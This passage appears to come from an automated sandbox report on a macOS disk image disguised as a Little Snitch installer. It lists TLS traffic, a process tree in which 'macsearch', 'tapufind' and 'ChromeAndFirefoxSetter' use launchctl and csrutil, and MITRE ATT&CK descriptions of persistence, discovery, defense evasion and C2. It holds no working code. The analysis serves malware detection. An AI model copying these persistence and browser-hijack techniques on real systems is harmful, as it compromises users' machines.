Feb 14, 2019 13:00:17.171471119 MEZ	5.57.17.99	443	192.168.0.50	49348	CN=DigiCert ECC Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:17.252166033 MEZ	192.229.133.52	443	192.168.0.50	49349	CN=t-ec.bstatic.com, O=Booking.com BV, L=Amsterdam, C=NL CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 02 02:00:00 CEST 2018 Fri Mar 08 13:00:00 CET 2013	Thu Jun 27 14:00:00 CEST 2019 Wed Mar 08 13:00:00 CET 2023	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47,65281-0-23-13-5-13172-18-16-11-10,29-23-24,0	3e4e87dda5a3162306609b7e330441d2
Feb 14, 2019 13:00:17.252166033 MEZ	192.229.133.52	443	192.168.0.50	49349	CN=DigiCert SHA2 Secure Server CA, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Mar 08 13:00:00 CET 2013	Wed Mar 08 13:00:00 CET 2023		3e4e87dda5a3162306609b7e330441d2

System Behavior

Analysis Process: xpcproxy PID: 653 Parent PID: 1

General

Start time:	12:59:21
Start date:	14/02/2019
Path:	/usr/libexec/xpcproxy
File size:	43488 bytes
MD5 hash:	d1bb9a4899f0af921e8188218b20d744

Chronological Activities

Analysis Process: Installer PID: 653 Parent PID: 1

General

Start time:	12:59:21
Start date:	14/02/2019
Path:	/Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer
File size:	4963536 bytes
MD5 hash:	597713fbe7f61f3d8abf99ab4b6cdfb4

Chronological Activities

Analysis Process: ls PID: 657 Parent PID: 653

General

Start time:	12:59:25
Start date:	14/02/2019
Path:	/bin/ls
File size:	38688 bytes
MD5 hash:	d77c1dd5bb8e39c2dd27c96c3fd2263e

Chronological Activities

Analysis Process: system_profiler PID: 658 Parent PID: 653

General

Start time:	12:59:25
Start date:	14/02/2019
Path:	/usr/sbin/system_profiler
File size:	45472 bytes
MD5 hash:	28bae8e36d2b8a65b50a54ee327298b8

Chronological Activities

Analysis Process: system_profiler PID: 659 Parent PID: 658

General

Start time:	12:59:25
Start date:	14/02/2019
Path:	/usr/sbin/system_profiler
File size:	45472 bytes
MD5 hash:	28bae8e36d2b8a65b50a54ee327298b8

Chronological Activities

Analysis Process: system_profiler PID: 660 Parent PID: 653

General

Start time:	12:59:27
Start date:	14/02/2019
Path:	/usr/sbin/system_profiler
File size:	45472 bytes
MD5 hash:	28bae8e36d2b8a65b50a54ee327298b8

Chronological Activities

Analysis Process: system_profiler PID: 661 Parent PID: 660

General

Start time:	12:59:27
Start date:	14/02/2019
Path:	/usr/sbin/system_profiler
File size:	45472 bytes
MD5 hash:	28bae8e36d2b8a65b50a54ee327298b8

Chronological Activities

Analysis Process: hdiutil PID: 662 Parent PID: 653

General

Start time:	12:59:30
Start date:	14/02/2019
Path:	/usr/bin/hdiutil
File size:	349424 bytes
MD5 hash:	51ee1c0640dcf5f0d08c7b21edf98dd9

Chronological Activities

Analysis Process: diskimages-helper PID: 663 Parent PID: 662

General

Start time:	12:59:30
Start date:	14/02/2019
Path:	/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
File size:	453328 bytes
MD5 hash:	467c495af9a262e52c87b619f1ac5fd4

Chronological Activities

Analysis Process: diskimages-helper PID: 664 Parent PID: 663

General

Start time:	12:59:30
Start date:	14/02/2019
Path:	/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
File size:	453328 bytes
MD5 hash:	467c495af9a262e52c87b619f1ac5fd4

Chronological Activities

Analysis Process: ditto PID: 673 Parent PID: 653

General

Start time:	12:59:34
Start date:	14/02/2019
Path:	/usr/bin/ditto
File size:	34528 bytes
MD5 hash:	5e90ed3b53d4ac63096f6727363249c5

Chronological Activities

Analysis Process: xattr PID: 674 Parent PID: 653

General

Start time:	12:59:34
Start date:	14/02/2019
Path:	/usr/bin/xattr
File size:	925 bytes
MD5 hash:	e2ca6555fe4b8c6a97d1ced2156c9b69

Chronological Activities

Analysis Process: Python PID: 674 Parent PID: 653

General

Start time:	12:59:34
Start date:	14/02/2019
Path:	/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
File size:	51744 bytes
MD5 hash:	ba780ab677147d9db60c564ef3f51dd0

Chronological Activities

Analysis Process: hdiutil PID: 675 Parent PID: 653

General

Start time:	12:59:36
Start date:	14/02/2019
Path:	/usr/bin/hdiutil
File size:	349424 bytes
MD5 hash:	51ee1c0640dcf5f0d08c7b21edf98dd9

Chronological Activities

Analysis Process: xattr PID: 678 Parent PID: 653

General

Start time:	12:59:40
Start date:	14/02/2019
Path:	/usr/bin/xattr
File size:	925 bytes
MD5 hash:	e2ca6555fe4b8c6a97d1ced2156c9b69

Chronological Activities

Analysis Process: Python PID: 678 Parent PID: 653

General

Start time:	12:59:40
Start date:	14/02/2019
Path:	/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
File size:	51744 bytes
MD5 hash:	ba780ab677147d9db60c564ef3f51dd0

Chronological Activities

Analysis Process: hdiutil PID: 679 Parent PID: 653

General

Start time:	12:59:40
Start date:	14/02/2019
Path:	/usr/bin/hdiutil
File size:	349424 bytes
MD5 hash:	51ee1c0640dcf5f0d08c7b21edf98dd9

Chronological Activities

Analysis Process: diskimages-helper PID: 680 Parent PID: 679

General

Start time:	12:59:40
Start date:	14/02/2019
Path:	/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
File size:	453328 bytes
MD5 hash:	467c495af9a262e52c87b619f1ac5fd4

Chronological Activities

Analysis Process: diskimages-helper PID: 681 Parent PID: 680

General

Start time:	12:59:40
Start date:	14/02/2019
Path:	/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
File size:	453328 bytes
MD5 hash:	467c495af9a262e52c87b619f1ac5fd4

Chronological Activities

Analysis Process: hdiutil PID: 690 Parent PID: 653

General

Start time:	12:59:47
Start date:	14/02/2019
Path:	/usr/bin/hdiutil
File size:	349424 bytes
MD5 hash:	51ee1c0640dcf5f0d08c7b21edf98dd9

Chronological Activities

Analysis Process: diskimages-helper PID: 691 Parent PID: 690

General

Start time:	12:59:47
Start date:	14/02/2019
Path:	/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
File size:	453328 bytes
MD5 hash:	467c495af9a262e52c87b619f1ac5fd4

Chronological Activities

Analysis Process: diskimages-helper PID: 692 Parent PID: 691

General

Start time:	12:59:47
Start date:	14/02/2019
Path:	/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
File size:	453328 bytes
MD5 hash:	467c495af9a262e52c87b619f1ac5fd4

Chronological Activities

Analysis Process: xattr PID: 693 Parent PID: 653

General

Start time:	12:59:47
Start date:	14/02/2019
Path:	/usr/bin/xattr
File size:	925 bytes
MD5 hash:	e2ca6555fe4b8c6a97d1ced2156c9b69

Chronological Activities

Analysis Process: Python PID: 693 Parent PID: 653

General

Start time:	12:59:47
Start date:	14/02/2019
Path:	/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
File size:	51744 bytes
MD5 hash:	ba780ab677147d9db60c564ef3f51dd0

Chronological Activities

Analysis Process: hdiutil PID: 694 Parent PID: 653

General

Start time:	12:59:47
Start date:	14/02/2019
Path:	/usr/bin/hdiutil
File size:	349424 bytes
MD5 hash:	51ee1c0640dcf5f0d08c7b21edf98dd9

Chronological Activities

Analysis Process: macsearch PID: 697 Parent PID: 653

General

Start time:	12:59:47
Start date:	14/02/2019
Path:	/tmp/macsearch.app/Contents/MacOS/macsearch
File size:	191704 bytes
MD5 hash:	d74879f400165addcb03fa853a4448e8

Chronological Activities

Analysis Process: launchctl PID: 698 Parent PID: 697

General

Start time:	12:59:48
Start date:	14/02/2019
Path:	/bin/launchctl
File size:	124656 bytes
MD5 hash:	17fad4b994d600d0a5b6bc02b55c2c80

Chronological Activities

Analysis Process: launchctl PID: 699 Parent PID: 697

General

Start time:	12:59:48
Start date:	14/02/2019
Path:	/bin/launchctl
File size:	124656 bytes
MD5 hash:	17fad4b994d600d0a5b6bc02b55c2c80

Chronological Activities

Analysis Process: launchctl PID: 700 Parent PID: 697

General

Start time:	12:59:49
Start date:	14/02/2019
Path:	/bin/launchctl
File size:	124656 bytes
MD5 hash:	17fad4b994d600d0a5b6bc02b55c2c80

Chronological Activities

Analysis Process: sh PID: 701 Parent PID: 697

General

Start time:	12:59:51
Start date:	14/02/2019
Path:	/bin/sh
File size:	618512 bytes
MD5 hash:	8aa60b22a5d30418a002b340989384dc

Chronological Activities

Analysis Process: open PID: 701 Parent PID: 697

General

Start time:	12:59:51
Start date:	14/02/2019
Path:	/usr/bin/open
File size:	105952 bytes
MD5 hash:	40ed6d8f35c9f20484b97582d296398f

Chronological Activities

Analysis Process: csrutil PID: 709 Parent PID: 697

General

Start time:	12:59:57
Start date:	14/02/2019
Path:	/usr/bin/csrutil
File size:	29744 bytes
MD5 hash:	6d4e7b8f6590034c053aeac7131b82cc

Chronological Activities

Analysis Process: sh PID: 710 Parent PID: 697

General

Start time:	12:59:57
Start date:	14/02/2019
Path:	/bin/sh
File size:	618512 bytes
MD5 hash:	8aa60b22a5d30418a002b340989384dc

Chronological Activities

Analysis Process: open PID: 710 Parent PID: 697

General

Start time:	12:59:57
Start date:	14/02/2019
Path:	/usr/bin/open
File size:	105952 bytes
MD5 hash:	40ed6d8f35c9f20484b97582d296398f

Chronological Activities

Analysis Process: launchctl PID: 712 Parent PID: 697

General

Start time:	12:59:59
Start date:	14/02/2019
Path:	/bin/launchctl
File size:	124656 bytes
MD5 hash:	17fad4b994d600d0a5b6bc02b55c2c80

Chronological Activities

Analysis Process: launchctl PID: 714 Parent PID: 697

General

Start time:	13:00:01
Start date:	14/02/2019
Path:	/bin/launchctl
File size:	124656 bytes
MD5 hash:	17fad4b994d600d0a5b6bc02b55c2c80

Chronological Activities

Analysis Process: ChromeAndFirefoxSetter PID: 716 Parent PID: 697

General

Start time:	13:00:01
Start date:	14/02/2019
Path:	/tmp/tapufind/ChromeAndFirefoxSetter
File size:	216256 bytes
MD5 hash:	13c676274533455c3c25091f6398ef34

Chronological Activities

Analysis Process: launchctl PID: 717 Parent PID: 697

General

Start time:	13:00:03
Start date:	14/02/2019
Path:	/bin/launchctl
File size:	124656 bytes
MD5 hash:	17fad4b994d600d0a5b6bc02b55c2c80

Chronological Activities

Analysis Process: open PID: 722 Parent PID: 653

General

Start time:	13:00:13
Start date:	14/02/2019
Path:	/usr/bin/open
File size:	105952 bytes
MD5 hash:	40ed6d8f35c9f20484b97582d296398f

Chronological Activities

Analysis Process: open PID: 725 Parent PID: 653

General

Start time:	13:00:14
Start date:	14/02/2019
Path:	/usr/bin/open
File size:	105952 bytes
MD5 hash:	40ed6d8f35c9f20484b97582d296398f

Chronological Activities

Analysis Process: xpcproxy PID: 654 Parent PID: 1

General

Start time:	12:59:21
Start date:	14/02/2019
Path:	/usr/libexec/xpcproxy
File size:	43488 bytes
MD5 hash:	d1bb9a4899f0af921e8188218b20d744

Chronological Activities

Analysis Process: taskgated-helper PID: 654 Parent PID: 1

General

Start time:	12:59:21
Start date:	14/02/2019
Path:	/usr/libexec/taskgated-helper
File size:	42704 bytes
MD5 hash:	4ce70c69efe07cf5e30917619056b351

Chronological Activities

Analysis Process: automount PID: 677 Parent PID: 98

General

Start time:	12:59:36
Start date:	14/02/2019
Path:	/usr/sbin/automount
File size:	62832 bytes
MD5 hash:	fffb9356e3ac7c5eea8554275b9512e6

Chronological Activities

Analysis Process: xpcproxy PID: 702 Parent PID: 1

General

Start time:	12:59:51
Start date:	14/02/2019
Path:	/usr/libexec/xpcproxy
File size:	43488 bytes
MD5 hash:	d1bb9a4899f0af921e8188218b20d744

Chronological Activities

Analysis Process: Safari PID: 702 Parent PID: 1

General

Start time:	12:59:51
Start date:	14/02/2019
Path:	/Applications/Safari.app/Contents/MacOS/Safari
File size:	20896 bytes
MD5 hash:	73bcc8196eef5893ef63d33aa6ca09f6

Chronological Activities

Analysis Process: xpcproxy PID: 713 Parent PID: 1

General

Start time:	12:59:59
Start date:	14/02/2019
Path:	/usr/libexec/xpcproxy
File size:	43488 bytes
MD5 hash:	d1bb9a4899f0af921e8188218b20d744

Chronological Activities

Analysis Process: tapufind PID: 713 Parent PID: 1

General

Start time:	12:59:59
Start date:	14/02/2019
Path:	/Users/henry/Library/Application Support/Agent/tapufind
File size:	240784 bytes
MD5 hash:	eaa8c972ce923c54866282e31f1b8a87

Chronological Activities

Analysis Process: xpcproxy PID: 723 Parent PID: 1

General

Start time:	13:00:13
Start date:	14/02/2019
Path:	/usr/libexec/xpcproxy
File size:	43488 bytes
MD5 hash:	d1bb9a4899f0af921e8188218b20d744

Chronological Activities

Analysis Process: setup PID: 723 Parent PID: 1

General

Start time:	13:00:13
Start date:	14/02/2019
Path:	/Volumes/InstallMe/Installer.app/Contents/MacOS/setup
File size:	62848 bytes
MD5 hash:	144107035cedea24b3c5dda87dcb25cd

Chronological Activities

Analysis Process: xpcproxy PID: 724 Parent PID: 1

General

Start time:	13:00:14
Start date:	14/02/2019
Path:	/usr/libexec/xpcproxy
File size:	43488 bytes
MD5 hash:	d1bb9a4899f0af921e8188218b20d744

Chronological Activities

Analysis Process: ReportCrash PID: 724 Parent PID: 1

General

Start time:	13:00:14
Start date:	14/02/2019
Path:	/System/Library/CoreServices/ReportCrash
File size:	189360 bytes
MD5 hash:	e978a18aaa83bc85565bca3b8a169455

Description:	Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion, Persistence
Data Sources:	File monitoring, Process Monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Browser extensions, Network protocol analysis, Packet capture, Process monitoring, Process use of network, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in `/System/Library/LaunchDaemons` and `/Library/LaunchDaemons` . These LaunchDaemons have property list files which point to the executables that will be launched . Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories . The daemon name may be disguised by using a name from a related operating system or benign software . Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process Monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
Tactics:	Defense Evasion
Data Sources:	API monitoring, Anti-virus, File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
Tactics:	Exfiltration
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report setup.dmg

Overview

General Information

Detection

Classification

Analysis Advice

Mitre Att&ck Matrix

Signature Overview

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Runtime Messages

Behavior Graph

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Antivirus Detection

Initial Sample

Dropped Files

Domains

URLs

Screenshots

Thumbnails

Startup

Created / dropped Files

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Packets

System Behavior

Analysis Process: xpcproxy PID: 653 Parent PID: 1

General

Analysis Process: Installer PID: 653 Parent PID: 1

General

Analysis Process: ls PID: 657 Parent PID: 653

General

Analysis Process: system_profiler PID: 658 Parent PID: 653

General

Analysis Process: system_profiler PID: 659 Parent PID: 658

General

Analysis Process: system_profiler PID: 660 Parent PID: 653

General

Analysis Process: system_profiler PID: 661 Parent PID: 660

General

Analysis Process: hdiutil PID: 662 Parent PID: 653

General

Analysis Process: diskimages-helper PID: 663 Parent PID: 662

General

Analysis Process: diskimages-helper PID: 664 Parent PID: 663

General

Analysis Process: ditto PID: 673 Parent PID: 653